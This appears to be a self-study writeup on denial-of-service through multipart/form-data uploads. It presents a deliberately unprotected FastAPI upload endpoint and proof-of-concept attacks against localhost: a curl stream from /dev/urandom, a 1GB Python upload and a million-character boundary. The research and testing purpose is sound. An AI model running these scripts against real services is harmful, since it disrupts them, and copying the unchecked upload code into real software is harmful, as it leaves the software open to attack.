Summary
I have read a vulnerability about DoS Vulnerability via multipart/form-data, so to deep understand of vulnerability i will research in the direction build code have vulnerability and poc. About DoS vulnerability, this is vulnerability will causing system disruption, with upload via multipart/data hacker will upload large file to application. System when process large file will inscrease cpu and mem causing system disruption.
Scenario 1: DoS via file upload
I have a code run a api for upload file with python
from fastapi import FastAPI, File, UploadFile, HTTPException
import uvicorn
import os
app = FastAPI()
UPLOAD_DIR = "./uploads"
os.makedirs(UPLOAD_DIR, exist_ok=True)
@app.post("/upload/")
async def upload_file(file: UploadFile = File(...)):
# read and save file
try:
file_location = os.path.join(UPLOAD_DIR, file.filename)
with open(file_location, "wb") as buffer:
buffer.write(await file.read())
return {"filename": file.filename}
except Exception as e:
raise HTTPException(status_code=500, detail="Error saving file")
if __name__ == "__main__":
uvicorn.run(app, host="0.0.0.0", port=8000)
This code allow upload any file and save file to folder “uploads”. There aren’t any check file size so i can upload file with big size. To perform upload file, i use file with </dev/urandom
.
/dev/urandom
is special file of linux, provide random data unlimited. When read ‘/dev/urandom’ system will generate random bytes. Because this is data unlimited, so curl will continous read data and send data until server is interupted or when server cannot accept any data.
POC with curl when use Linux:
curl -X POST http://localhost:8000/upload/ -F 'file=@/dev/urandom'
POC with python code:
import requests
def dos_attack_upload():
url = "http://localhost:8000/upload/"
# Create data with big size
large_data = b"A" * 1024 * 1024 * 1024 # 1GB
files = {
"file": ("large_file.txt", large_data, "text/plain")
}
# Send request post to uplaod file
response = requests.post(url, files=files)
print("Status Code:", response.status_code)
print("Response:", response.json())
if __name__ == "__main__":
dos_attack_upload()
Scenario 2: DoS via multipart boundry
Multipart boundry is a part in the form upload file, If boundry not handle correctly will cause server use very much CPU and Mem to handle. This is can lead to dos vulnerability.
I will use code upload above with not check any boundry when perform upload.
from fastapi import FastAPI, File, UploadFile, HTTPException
import uvicorn
import os
app = FastAPI()
UPLOAD_DIR = "./uploads"
os.makedirs(UPLOAD_DIR, exist_ok=True)
@app.post("/upload/")
async def upload_file(file: UploadFile = File(...)):
# read and save file
try:
file_location = os.path.join(UPLOAD_DIR, file.filename)
with open(file_location, "wb") as buffer:
buffer.write(await file.read())
return {"filename": file.filename}
except Exception as e:
raise HTTPException(status_code=500, detail="Error saving file")
if __name__ == "__main__":
uvicorn.run(app, host="0.0.0.0", port=8000)
With POC, i will create boundary have 1 million character and after change boundary to form-data.
import requests
def dos_attack_boundary():
url = "http://localhost:8000/upload/"
# Create long boundary with 1 million character.
long_boundary = "-" * 1000000
# set header for boundary
headers = {
"Content-Type": f"multipart/form-data; boundary={long_boundary}"
}
data = (
f"--{long_boundary}\r\n"
f'Content-Disposition: form-data; name="file"; filename="dos_test.txt"\r\n'
f"Content-Type: text/plain\r\n\r\n"
f"This is a test file content.\r\n"
f"--{long_boundary}--\r\n"
)
# Send request upload file with long boundrary
response = requests.post(url, data=data, headers=headers)
print("Status Code:", response.status_code)
print("Response:", response.text)
if __name__ == "__main__":
dos_attack_boundary()